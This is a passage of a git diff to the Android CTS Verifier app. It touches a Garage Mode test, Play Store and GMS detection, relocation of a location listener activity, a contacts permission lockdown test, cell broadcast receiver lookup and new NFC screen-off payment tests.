+            editor.putLong(GarageModeChecker.PREFS_GARAGE_MODE_START, 0);
+            editor.putLong(GarageModeChecker.PREFS_GARAGE_MODE_END, 0);
+            editor.putLong(GarageModeChecker.PREFS_TERMINATION, 0);
+            editor.putBoolean(GarageModeChecker.PREFS_HAD_CONNECTIVITY, false);
+            editor.commit();
+
+            GarageModeChecker.scheduleAnIdleJob(context, NUM_SECONDS_DURATION);
+            verifyStatus();
+            Log.v(TAG, "Scheduled GarageModeChecker to run when idle");
+        });
+    }
+
+    @Override
+    protected void onResume() {
+        super.onResume();
+        verifyStatus();
+    }
+
+    @Override
+    public void onWindowFocusChanged(boolean hasWindowFocus) {
+        super.onWindowFocusChanged(hasWindowFocus);
+        if (hasWindowFocus) {
+            verifyStatus();
+        }
+    }
+
+    private void verifyStatus() {
+        Context context = GarageModeTestActivity.this;
+        SharedPreferences prefs = context.getSharedPreferences(
+                GarageModeChecker.PREFS_FILE_NAME, Context.MODE_PRIVATE);
+        String resultsString;
+        DateFormat dateTime = DateFormat.getDateTimeInstance();
+
+        long now = System.currentTimeMillis();
+        long initiateTime = prefs.getLong(GarageModeChecker.PREFS_INITIATION, 0);
+        long garageModeStart = prefs.getLong(GarageModeChecker.PREFS_GARAGE_MODE_START, 0);
+        long garageModeEnd = prefs.getLong(GarageModeChecker.PREFS_GARAGE_MODE_END, 0);
+        long termination = prefs.getLong(GarageModeChecker.PREFS_TERMINATION, 0);
+        long jobUpdate = prefs.getLong(GarageModeChecker.PREFS_JOB_UPDATE, 0);
+        boolean hadConnectivity = prefs.getBoolean(GarageModeChecker.PREFS_HAD_CONNECTIVITY, false);
+
+        boolean testPassed = false;
+        if (initiateTime == 0) {
+            resultsString = "No results are available.\n\n"
+                    + "Perform the indicated steps to run the test.";
+        } else if (garageModeStart == 0) {
+            if (now < initiateTime + MAX_WAIT_UNTIL_GARAGE_MODE) {
+                resultsString = String.format("Waitng for Garage Mode to start.\n\n"
+                                + "%s -- Test was enabled",
+                        dateTime.format(initiateTime));
+            } else {
+                resultsString = String.format("Test failed.\n"
+                                + "Garage Mode did not run.\n\n"
+                                + "%s -- Test was enabled",
+                        dateTime.format(initiateTime));
+            }
+        } else if (garageModeEnd > (garageModeStart + RECOMMENDED_DURATION_MS)) {
+            testPassed = hadConnectivity;
+            resultsString = String.format("Test %s.\n"
+                            + "Garage Mode ran as required and for the recommended time.\n"
+                            + "Connectivity was %savailable.\n\n"
+                            + "%s -- Test was enabled\n"
+                            + "%s -- Garage mode started\n"
+                            + "%s -- Garage mode completed",
+                    (testPassed ? "Passed" : "Failed"),
+                    (hadConnectivity ? "" : "not "),
+                    dateTime.format(initiateTime), dateTime.format(garageModeStart),
+                    dateTime.format(garageModeEnd));
+        } else if (termination > (garageModeStart + REQUIRED_DURATION_MS)) {
+            testPassed = hadConnectivity;
+            resultsString = String.format("Test %s.\n"
+                            + "Garage Mode ran as required, "
+                            + "but for less time than is recommended.\n"
+                            + "  The CDD recommends that Garage Mode runs for 15 minutes.\n"
+                            + "Connectivity was %savailable.\n\n"
+                            + "%s -- Test was enabled\n"
+                            + "%s -- Garage mode started\n"
+                            + "%s -- Garage mode was terminated",
+                    (testPassed ? "Passed" : "Failed"),
+                    (hadConnectivity ? "" : "not "),
+                    dateTime.format(initiateTime), dateTime.format(garageModeStart),
+                    dateTime.format(termination));
+        } else if (termination > 0) {
+            resultsString = String.format("Test Failed.\n"
+                            + "Garage Mode ran, but for less than the required time.\n"
+                            + "  The minimum requirement is that Garage Mode runs for 30 seconds.\n"
+                            + "  The CDD recommends that Garage Mode runs for 15 minutes.\n"
+                            + "Connectivity was %savailable.\n\n"
+                            + "%s -- Test was enabled\n"
+                            + "%s -- Garage mode started\n"
+                            + "%s -- Garage mode was terminated",
+                    (hadConnectivity ? "" : "not "),
+                    dateTime.format(initiateTime), dateTime.format(garageModeStart),
+                    dateTime.format(termination));
+        } else if (now < jobUpdate + GarageModeChecker.MS_PER_ITERATION * 2) {
+            resultsString = "Garage Mode started and test is running.\n\n"
+                    + dateTime.format(initiateTime) + " -- Test was enabled\n"
+                    + dateTime.format(garageModeStart) + " -- Garage mode started\n"
+                    + dateTime.format(jobUpdate) + " -- Last job updated";
+        } else {
+            resultsString = "Test failed.\n\n"
+                    + "Garage Mode started, but terminated unexpectedly.\n\n"
+                    + dateTime.format(initiateTime) + " -- Test was enabled\n"
+                    + dateTime.format(garageModeStart) + " -- Garage mode started";
+        }
+        mStatusText.setText(resultsString);
+        getPassButton().setEnabled(testPassed);
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/instantapps/NotificationTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/instantapps/NotificationTestActivity.java
index 4acdfd2..b2c43d1 100755
--- a/apps/CtsVerifier/src/com/android/cts/verifier/instantapps/NotificationTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/instantapps/NotificationTestActivity.java
@@ -29,22 +29,44 @@
  */
 public class NotificationTestActivity extends BaseTestActivity {
 
+    private String gms_package_name = "com.google.android.gms";
+    private String store_package_name = "com.android.vending";
+
     @Override
     public void onCreate(Bundle savedInstanceState) {
         super.onCreate(savedInstanceState);
 
         setInfoResources(R.string.ia_notification, R.string.ia_notification_info, -1);
         TextView extraText = (TextView) findViewById(R.id.instruction_extra_text);
-        if (deviceHasPlayStore()) {
+        if (deviceIsGms()) {
             extraText.setText(R.string.ia_notification_instruction_label);
         } else {
             extraText.setText(R.string.ia_notification_instruction_label_no_app_market_version);
         }
     }
 
+    private boolean deviceIsGms() {
+        return deviceHasGmsCore() && deviceHasPlayStore() && !deviceHasCnFeature();
+    }
+
+    private boolean deviceHasCnFeature() {
+        boolean hasCnFeature = getApplicationContext().getPackageManager().hasSystemFeature("cn.google.services");
+        return hasCnFeature;
+    }
+
+    private boolean deviceHasGmsCore() {
+        try {
+            return getPackageManager().getApplicationInfo(gms_package_name, PackageManager.MATCH_DIRECT_BOOT_AUTO) != null;
+        } catch (PackageManager.NameNotFoundException ex) {
+            return false;
+        }
+    }
+
     private boolean deviceHasPlayStore() {
-        boolean hasCnGmsVersion =
-                getApplicationContext().getPackageManager().hasSystemFeature("cn.google.services");
-        return !hasCnGmsVersion;
+        try {
+            return getPackageManager().getApplicationInfo(store_package_name, PackageManager.MATCH_DIRECT_BOOT_AUTO) != null;
+        } catch (PackageManager.NameNotFoundException ex) {
+            return false;
+        }
     }
 }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/location/LocationListenerActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/location/LocationListenerActivity.java
deleted file mode 100644
index 4db0b54..0000000
--- a/apps/CtsVerifier/src/com/android/cts/verifier/location/LocationListenerActivity.java
+++ /dev/null
@@ -1,142 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package com.android.cts.verifier.location;
-
-import android.app.Activity;
-import android.content.Intent;
-import android.location.Location;
-import android.location.LocationListener;
-import android.location.LocationManager;
-import android.os.Bundle;
-import android.os.Handler;
-import android.os.Message;
-import android.os.Process;
-import android.provider.Settings;
-import android.util.Log;
-import android.widget.Toast;
-
-import com.android.cts.verifier.R;
-
-public class LocationListenerActivity extends Activity implements Handler.Callback {
-    // Primary -> managed intent: request to goto the location settings page and listen to updates.
-    public static final String ACTION_SET_LOCATION_AND_CHECK_UPDATES =
-            "com.android.cts.verifier.location.SET_LOCATION_AND_CHECK";
-    private static final int REQUEST_LOCATION_UPDATE = 1;
-
-    private static final int MSG_TIMEOUT_ID = 1;
-
-    private static final long MSG_TIMEOUT_MILLISEC = 15000; // 15 seconds.
-
-    private LocationManager mLocationManager;
-    private Handler mHandler;
-    private boolean mIsLocationUpdated;
-
-    @Override
-    protected void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-        mLocationManager = (LocationManager) getSystemService(LOCATION_SERVICE);
-        mHandler = new Handler(this);
-        mIsLocationUpdated = false;
-        Intent intent = getIntent();
-        if (intent != null) {
-            String action = intent.getAction();
-            if (ACTION_SET_LOCATION_AND_CHECK_UPDATES.equals(action)) {
-                Log.d(getLogTag(), "ACTION_SET_LOCATION_AND_CHECK_UPDATES received in uid "
-                        + Process.myUid());
-                handleLocationAction();
-            }
-        }
-    }
-
-    @Override
-    protected void onActivityResult(int requestCode, int resultCode, Intent data) {
-        switch (requestCode) {
-            case REQUEST_LOCATION_UPDATE: {
-                Log.d(getLogTag(), "Exit location settings:OK");
-                mLocationManager.removeUpdates(mLocationListener);
-                mHandler.removeMessages(MSG_TIMEOUT_ID);
-                finish();
-                break;
-            }
-            default: {
-                Log.wtf(getLogTag(), "Unknown requestCode " + requestCode + "; data = " + data);
-                break;
-            }
-        }
-    }
-
-    protected void handleLocationAction() {
-        Intent locationSettingsIntent = new Intent(Settings.ACTION_LOCATION_SOURCE_SETTINGS);
-        if (locationSettingsIntent.resolveActivity(getPackageManager()) != null) {
-            startActivityForResult(locationSettingsIntent, REQUEST_LOCATION_UPDATE);
-            scheduleTimeout();
-        } else {
-            Log.e(getLogTag(), "Settings.ACTION_LOCATION_SOURCE_SETTINGS could not be resolved");
-            finish();
-        }
-        mLocationManager.requestLocationUpdates(
-                LocationManager.GPS_PROVIDER, 0, 0, mLocationListener);
-    }
-
-    private final LocationListener mLocationListener = new LocationListener() {
-        @Override
-        public void onLocationChanged(Location location) {
-            synchronized (LocationListenerActivity.this) {
-                if (mIsLocationUpdated) return;
-                showToast(R.string.provisioning_byod_location_mode_enable_toast_location_change);
-                mIsLocationUpdated = true;
-            }
-        }
-
-        @Override
-        public void onProviderDisabled(String provider) {
-        }
-
-        @Override
-        public void onProviderEnabled(String provider) {
-        }
-
-        @Override
-        public void onStatusChanged(String provider, int status, Bundle extras) {
-        }
-    };
-
-    private void scheduleTimeout() {
-        mHandler.removeMessages(MSG_TIMEOUT_ID);
-        mHandler.sendMessageDelayed(mHandler.obtainMessage(MSG_TIMEOUT_ID), MSG_TIMEOUT_MILLISEC);
-    }
-
-    @Override
-    public boolean handleMessage(Message msg) {
-        if (msg.what == MSG_TIMEOUT_ID) {
-            synchronized (this) {
-                if (mIsLocationUpdated) return true;
-                showToast(R.string.provisioning_byod_location_mode_time_out_toast);
-            }
-        }
-        return true;
-    }
-
-    protected String getLogTag() {
-        return "LocationListenerActivity";
-    }
-
-    protected void showToast(int messageId) {
-        String message = getString(messageId);
-        Toast.makeText(this, message, Toast.LENGTH_SHORT).show();
-    }
-}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/location/OWNERS b/apps/CtsVerifier/src/com/android/cts/verifier/location/OWNERS
deleted file mode 100644
index b6377b0..0000000
--- a/apps/CtsVerifier/src/com/android/cts/verifier/location/OWNERS
+++ /dev/null
@@ -1,3 +0,0 @@
-# Bug component: 32850
-wyattriley@google.com
-yuhany@google.com
\ No newline at end of file
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodFlowTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodFlowTestActivity.java
index 656cd89..9facc13 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodFlowTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodFlowTestActivity.java
@@ -39,7 +39,6 @@
 import com.android.cts.verifier.TestListActivity;
 import com.android.cts.verifier.TestListAdapter.TestListItem;
 import com.android.cts.verifier.TestResult;
-import com.android.cts.verifier.location.LocationListenerActivity;
 
 /**
  * CTS verifier test for BYOD managed provisioning flow
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodHelperActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodHelperActivity.java
index a240b83..a6a25e6 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodHelperActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodHelperActivity.java
@@ -32,12 +32,12 @@
 import android.os.Handler;
 import android.os.UserManager;
 import android.provider.MediaStore;
-import androidx.core.content.FileProvider;
-import androidx.core.util.Pair;
 import android.util.Log;
 
+import androidx.core.content.FileProvider;
+import androidx.core.util.Pair;
+
 import com.android.cts.verifier.R;
-import com.android.cts.verifier.location.LocationListenerActivity;
 import com.android.cts.verifier.managedprovisioning.ByodPresentMediaDialog.DialogCallback;
 
 import java.io.File;
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceAdminTestReceiver.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceAdminTestReceiver.java
index c9e2449..c43bd5d 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceAdminTestReceiver.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceAdminTestReceiver.java
@@ -32,11 +32,11 @@
 import android.os.Process;
 import android.os.RemoteException;
 import android.os.UserHandle;
-import androidx.localbroadcastmanager.content.LocalBroadcastManager;
 import android.util.Log;
 
+import androidx.localbroadcastmanager.content.LocalBroadcastManager;
+
 import com.android.cts.verifier.R;
-import com.android.cts.verifier.location.LocationListenerActivity;
 
 import java.util.Collections;
 import java.util.function.Consumer;
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/LocationListenerActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/LocationListenerActivity.java
new file mode 100644
index 0000000..2ad5f99
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/LocationListenerActivity.java
@@ -0,0 +1,142 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.managedprovisioning;
+
+import android.app.Activity;
+import android.content.Intent;
+import android.location.Location;
+import android.location.LocationListener;
+import android.location.LocationManager;
+import android.os.Bundle;
+import android.os.Handler;
+import android.os.Message;
+import android.os.Process;
+import android.provider.Settings;
+import android.util.Log;
+import android.widget.Toast;
+
+import com.android.cts.verifier.R;
+
+public class LocationListenerActivity extends Activity implements Handler.Callback {
+    // Primary -> managed intent: request to goto the location settings page and listen to updates.
+    public static final String ACTION_SET_LOCATION_AND_CHECK_UPDATES =
+            "com.android.cts.verifier.managedprovisioning.SET_LOCATION_AND_CHECK";
+    private static final int REQUEST_LOCATION_UPDATE = 1;
+
+    private static final int MSG_TIMEOUT_ID = 1;
+
+    private static final long MSG_TIMEOUT_MILLISEC = 15000; // 15 seconds.
+
+    private LocationManager mLocationManager;
+    private Handler mHandler;
+    private boolean mIsLocationUpdated;
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        mLocationManager = (LocationManager) getSystemService(LOCATION_SERVICE);
+        mHandler = new Handler(this);
+        mIsLocationUpdated = false;
+        Intent intent = getIntent();
+        if (intent != null) {
+            String action = intent.getAction();
+            if (ACTION_SET_LOCATION_AND_CHECK_UPDATES.equals(action)) {
+                Log.d(getLogTag(), "ACTION_SET_LOCATION_AND_CHECK_UPDATES received in uid "
+                        + Process.myUid());
+                handleLocationAction();
+            }
+        }
+    }
+
+    @Override
+    protected void onActivityResult(int requestCode, int resultCode, Intent data) {
+        switch (requestCode) {
+            case REQUEST_LOCATION_UPDATE: {
+                Log.d(getLogTag(), "Exit location settings:OK");
+                mLocationManager.removeUpdates(mLocationListener);
+                mHandler.removeMessages(MSG_TIMEOUT_ID);
+                finish();
+                break;
+            }
+            default: {
+                Log.wtf(getLogTag(), "Unknown requestCode " + requestCode + "; data = " + data);
+                break;
+            }
+        }
+    }
+
+    protected void handleLocationAction() {
+        Intent locationSettingsIntent = new Intent(Settings.ACTION_LOCATION_SOURCE_SETTINGS);
+        if (locationSettingsIntent.resolveActivity(getPackageManager()) != null) {
+            startActivityForResult(locationSettingsIntent, REQUEST_LOCATION_UPDATE);
+            scheduleTimeout();
+        } else {
+            Log.e(getLogTag(), "Settings.ACTION_LOCATION_SOURCE_SETTINGS could not be resolved");
+            finish();
+        }
+        mLocationManager.requestLocationUpdates(
+                LocationManager.GPS_PROVIDER, 0, 0, mLocationListener);
+    }
+
+    private final LocationListener mLocationListener = new LocationListener() {
+        @Override
+        public void onLocationChanged(Location location) {
+            synchronized (LocationListenerActivity.this) {
+                if (mIsLocationUpdated) return;
+                showToast(R.string.provisioning_byod_location_mode_enable_toast_location_change);
+                mIsLocationUpdated = true;
+            }
+        }
+
+        @Override
+        public void onProviderDisabled(String provider) {
+        }
+
+        @Override
+        public void onProviderEnabled(String provider) {
+        }
+
+        @Override
+        public void onStatusChanged(String provider, int status, Bundle extras) {
+        }
+    };
+
+    private void scheduleTimeout() {
+        mHandler.removeMessages(MSG_TIMEOUT_ID);
+        mHandler.sendMessageDelayed(mHandler.obtainMessage(MSG_TIMEOUT_ID), MSG_TIMEOUT_MILLISEC);
+    }
+
+    @Override
+    public boolean handleMessage(Message msg) {
+        if (msg.what == MSG_TIMEOUT_ID) {
+            synchronized (this) {
+                if (mIsLocationUpdated) return true;
+                showToast(R.string.provisioning_byod_location_mode_time_out_toast);
+            }
+        }
+        return true;
+    }
+
+    protected String getLogTag() {
+        return "LocationListenerActivity";
+    }
+
+    protected void showToast(int messageId) {
+        String message = getString(messageId);
+        Toast.makeText(this, message, Toast.LENGTH_SHORT).show();
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/PermissionLockdownTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/PermissionLockdownTestActivity.java
index ea7e801..343820f 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/PermissionLockdownTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/PermissionLockdownTestActivity.java
@@ -37,6 +37,7 @@
 import com.android.cts.verifier.PassFailButtons;
 import com.android.cts.verifier.R;
 
+import java.util.Arrays;
 public class PermissionLockdownTestActivity extends PassFailButtons.Activity
         implements RadioGroup.OnCheckedChangeListener {
     private static final String PERMISSION_APP_PACKAGE = "com.android.cts.permissionapp";
@@ -55,8 +56,10 @@
     static final String ACTION_MANAGED_PROFILE_CHECK_PERMISSION_LOCKDOWN
             = MANAGED_PROVISIONING_ACTION_PREFIX + "MANAGED_PROFILE_CHECK_PERMISSION_LOCKDOWN";
 
-    // Permission grant states will be set on this permission.
-    private static final String CONTACTS_PERMISSION = android.Manifest.permission.READ_CONTACTS;
+   // Permission grant states will be set on these permissions.
+    private static final String[] CONTACTS_PERMISSIONS = new String[] {
+            android.Manifest.permission.READ_CONTACTS, android.Manifest.permission.WRITE_CONTACTS
+    };
 
     private boolean mDeviceOwnerTest;
     private DevicePolicyManager mDevicePolicyManager;
@@ -102,11 +105,23 @@
         packageNameTextView.setText(packageManager.getApplicationLabel(applicationInfo));
 
         TextView permissionNameTextView = (TextView) findViewById(R.id.permission_name);
-        permissionNameTextView.setText(CONTACTS_PERMISSION);
+        permissionNameTextView.setText(Arrays.toString(CONTACTS_PERMISSIONS));
 
         // Get the current permission grant state for initializing the RadioGroup.
-        int currentPermissionState = mDevicePolicyManager.getPermissionGrantState(mAdmin,
-                    PERMISSION_APP_PACKAGE, CONTACTS_PERMISSION);
+        int readPermissionState = mDevicePolicyManager.getPermissionGrantState(mAdmin,
+                    PERMISSION_APP_PACKAGE, CONTACTS_PERMISSIONS[0]);
+        int writePermissionState = mDevicePolicyManager.getPermissionGrantState(mAdmin,
+                PERMISSION_APP_PACKAGE, CONTACTS_PERMISSIONS[1]);
+        int currentPermissionState;
+        if (readPermissionState == DevicePolicyManager.PERMISSION_GRANT_STATE_GRANTED ||
+        writePermissionState == DevicePolicyManager.PERMISSION_GRANT_STATE_GRANTED) {
+            currentPermissionState = DevicePolicyManager.PERMISSION_GRANT_STATE_GRANTED;
+        } else if (readPermissionState == DevicePolicyManager.PERMISSION_GRANT_STATE_DENIED ||
+                    writePermissionState == DevicePolicyManager.PERMISSION_GRANT_STATE_DENIED) {
+            currentPermissionState = DevicePolicyManager.PERMISSION_GRANT_STATE_DENIED;
+        } else {
+            currentPermissionState = readPermissionState;
+        }
         RadioGroup permissionRadioGroup = (RadioGroup) findViewById(R.id.permission_group);
         switch (currentPermissionState) {
             case DevicePolicyManager.PERMISSION_GRANT_STATE_GRANTED: {
@@ -174,7 +189,9 @@
             } break;
         }
         mDevicePolicyManager.setPermissionGrantState(mAdmin, PERMISSION_APP_PACKAGE,
-                CONTACTS_PERMISSION, permissionGrantState);
+                CONTACTS_PERMISSIONS[0], permissionGrantState);
+        mDevicePolicyManager.setPermissionGrantState(mAdmin, PERMISSION_APP_PACKAGE,
+                CONTACTS_PERMISSIONS[1], permissionGrantState);
     }
 
     private boolean isProfileOrDeviceOwner() {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/UserRestrictions.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/UserRestrictions.java
index 5328109..5f1243f 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/UserRestrictions.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/UserRestrictions.java
@@ -19,8 +19,11 @@
 import android.content.Context;
 import android.content.Intent;
 import android.content.pm.PackageManager;
+import android.content.pm.ResolveInfo;
 import android.os.UserManager;
 import android.provider.Settings;
+import android.provider.Telephony;
+import android.text.TextUtils;
 import android.util.ArrayMap;
 
 import com.android.cts.verifier.R;
@@ -240,7 +243,8 @@
                 boolean isCellBroadcastAppLinkEnabled = context.getResources().getBoolean(resId);
                 try {
                     if (isCellBroadcastAppLinkEnabled) {
-                        if (pm.getApplicationEnabledSetting("com.android.cellbroadcastreceiver")
+                        String packageName = getDefaultCellBroadcastReceiverPackageName(context);
+                        if (packageName == null || pm.getApplicationEnabledSetting(packageName)
                                 == PackageManager.COMPONENT_ENABLED_STATE_DISABLED) {
                             isCellBroadcastAppLinkEnabled = false;  // CMAS app disabled
                         }
@@ -273,6 +277,32 @@
         }
     }
 
+    /**
+     * Utility method to query the default CBR's package name.
+     * from frameworks/base/telephony/common/com/android/internal/telephony/CellBroadcastUtils.java
+     */
+    private static String getDefaultCellBroadcastReceiverPackageName(Context context) {
+        PackageManager packageManager = context.getPackageManager();
+        ResolveInfo resolveInfo = packageManager.resolveActivity(
+                new Intent(Telephony.Sms.Intents.SMS_CB_RECEIVED_ACTION),
+                PackageManager.MATCH_SYSTEM_ONLY);
+        String packageName;
+
+        if (resolveInfo == null) {
+            return null;
+        }
+
+        packageName = resolveInfo.activityInfo.applicationInfo.packageName;
+
+        if (TextUtils.isEmpty(packageName) || packageManager.checkPermission(
+            android.Manifest.permission.READ_CELL_BROADCASTS, packageName)
+                == PackageManager.PERMISSION_DENIED) {
+            return null;
+        }
+
+        return packageName;
+    }
+
     private static class UserRestrictionItem {
         final int label;
         final int userAction;
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/nfc/hce/BaseEmulatorActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/hce/BaseEmulatorActivity.java
index 1df35eb..24f55a4 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/nfc/hce/BaseEmulatorActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/hce/BaseEmulatorActivity.java
@@ -46,7 +46,9 @@
             PrefixTransportService1.COMPONENT,
             PrefixTransportService2.COMPONENT,
             PrefixAccessService.COMPONENT,
-            LargeNumAidsService.COMPONENT)
+            LargeNumAidsService.COMPONENT,
+            ScreenOnOnlyOffHostService.COMPONENT,
+            ScreenOffPaymentService.COMPONENT)
     );
 
     @Override
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/nfc/hce/HceEmulatorTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/hce/HceEmulatorTestActivity.java
index b30bb73..ab66339 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/nfc/hce/HceEmulatorTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/hce/HceEmulatorTestActivity.java
@@ -130,6 +130,14 @@
                             new Intent(this, ConflictingNonPaymentPrefixEmulatorActivity.class), null));
                 }
             }
+
+            adapter.add(TestListItem.newTest(this, R.string.nfc_screen_on_only_offhost_emulator,
+                    ScreenOnOnlyOffHostEmulatorActivity.class.getName(),
+                    new Intent(this, ScreenOnOnlyOffHostEmulatorActivity.class), null));
+
+            adapter.add(TestListItem.newTest(this, R.string.nfc_screen_off_hce_payment_emulator,
+                    ScreenOffPaymentEmulatorActivity.class.getName(),
+                    new Intent(this, ScreenOffPaymentEmulatorActivity.class), null));
         }
 
         setTestListAdapter(adapter);
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/nfc/hce/HceReaderTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/hce/HceReaderTestActivity.java
index 62e1701..4998d5c 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/nfc/hce/HceReaderTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/hce/HceReaderTestActivity.java
@@ -120,6 +120,15 @@
                         getString(R.string.nfc_hce_other_conflicting_prefix_aids_reader),
                         ConflictingNonPaymentPrefixEmulatorActivity.buildReaderIntent(this), null));
             }
+
+            adapter.add(TestListItem.newTest(this, R.string.nfc_screen_on_only_offhost_reader,
+                    getString(R.string.nfc_screen_on_only_offhost_reader),
+                    ScreenOnOnlyOffHostEmulatorActivity.buildReaderIntent(this), null));
+
+            adapter.add(TestListItem.newTest(this, R.string.nfc_screen_off_hce_payment_reader,
+                    getString(R.string.nfc_screen_off_hce_payment_reader),
+                    ScreenOffPaymentEmulatorActivity.buildReaderIntent(this), null));
+
         }
 
         setTestListAdapter(adapter);
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/nfc/hce/ScreenOffPaymentEmulatorActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/hce/ScreenOffPaymentEmulatorActivity.java
new file mode 100644
index 0000000..50a97e6
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/hce/ScreenOffPaymentEmulatorActivity.java
@@ -0,0 +1,100 @@
+package com.android.cts.verifier.nfc.hce;
+
+import android.content.BroadcastReceiver;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.os.Bundle;
+
+import com.android.cts.verifier.R;
+import com.android.cts.verifier.nfc.NfcDialogs;
+
+public class ScreenOffPaymentEmulatorActivity extends BaseEmulatorActivity {
+    final static int STATE_SCREEN_ON = 0;
+    final static int STATE_SCREEN_OFF = 1;
+    private int mState = STATE_SCREEN_ON;
+
+    private ScreenOnOffReceiver mReceiver;
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setContentView(R.layout.pass_fail_text);
+        setPassFailButtonClickListeners();
+        getPassButton().setEnabled(false);
+        mState = STATE_SCREEN_ON;
+        setupServices(this, ScreenOffPaymentService.COMPONENT);
+
+        mReceiver = new ScreenOnOffReceiver();
+        IntentFilter filter = new IntentFilter();
+        filter.addAction(Intent.ACTION_SCREEN_OFF);
+        filter.addAction(Intent.ACTION_SCREEN_ON);
+        registerReceiver(mReceiver, filter);
+    }
+
+    @Override
+    protected void onResume() {
+        super.onResume();
+    }
+
+    @Override
+    protected void onDestroy() {
+        super.onDestroy();
+        unregisterReceiver(mReceiver);
+    }
+
+    @Override
+    void onServicesSetup(boolean result) {
+        // Verify ScreenOff HCE service is the default
+        if (makePaymentDefault(ScreenOffPaymentService.COMPONENT,
+                R.string.nfc_hce_change_preinstalled_wallet)) {
+            // Wait for callback
+        } else {
+                NfcDialogs.createHceTapReaderDialog(this,
+                        getString(R.string.nfc_screen_off_hce_payment_help)).show();
+        }
+    }
+
+    @Override
+    void onPaymentDefaultResult(ComponentName component, boolean success) {
+        if (success) {
+            NfcDialogs.createHceTapReaderDialog(this,
+                    getString(R.string.nfc_screen_off_hce_payment_help)).show();
+        }
+    }
+
+    @Override
+    protected void onPause() {
+        super.onPause();
+    }
+    public static Intent buildReaderIntent(Context context) {
+        Intent readerIntent = new Intent(context, SimpleReaderActivity.class);
+        readerIntent.putExtra(SimpleReaderActivity.EXTRA_APDUS,
+                ScreenOffPaymentService.APDU_COMMAND_SEQUENCE);
+        readerIntent.putExtra(SimpleReaderActivity.EXTRA_RESPONSES,
+                ScreenOffPaymentService.APDU_RESPOND_SEQUENCE);
+        readerIntent.putExtra(SimpleReaderActivity.EXTRA_LABEL,
+                context.getString(R.string.nfc_screen_off_hce_payment_reader));
+        return readerIntent;
+    }
+
+    @Override
+    void onApduSequenceComplete(ComponentName component, long duration) {
+        if (component.equals(ScreenOffPaymentService.COMPONENT) && mState == STATE_SCREEN_OFF) {
+            getPassButton().setEnabled(true);
+        }
+    }
+
